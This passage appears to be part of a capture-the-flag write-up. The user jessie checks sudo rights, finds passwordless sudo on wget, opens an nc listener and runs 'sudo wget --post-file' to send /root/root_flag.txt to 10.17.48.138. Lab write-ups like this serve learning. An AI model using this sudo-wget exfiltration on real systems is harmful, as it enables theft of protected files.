057c67131c3d5e42dd5cd3075b198ff6057c67131c3d5e42dd5cd3075b198ff6Let's check the sudo permissions jessie has.
jessie@CorpOne:~$ sudo -l
Matching Defaults entries for jessie on CorpOne:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jessie may run the following commands on CorpOne:
(ALL : ALL) ALL
(root) NOPASSWD: /usr/bin/wgetSo we can post a file to our machine as jessie without using a password.
Let's find the file the we need to post.
Let's start a listener using nc.
$ nc -nlvp 9999
listening on [any] 9999 ...Let's send the file now.
jessie@CorpOne:~$ sudo /usr/bin/wget --post-file=/root/root_flag.txt http://10.17.48.138:9999
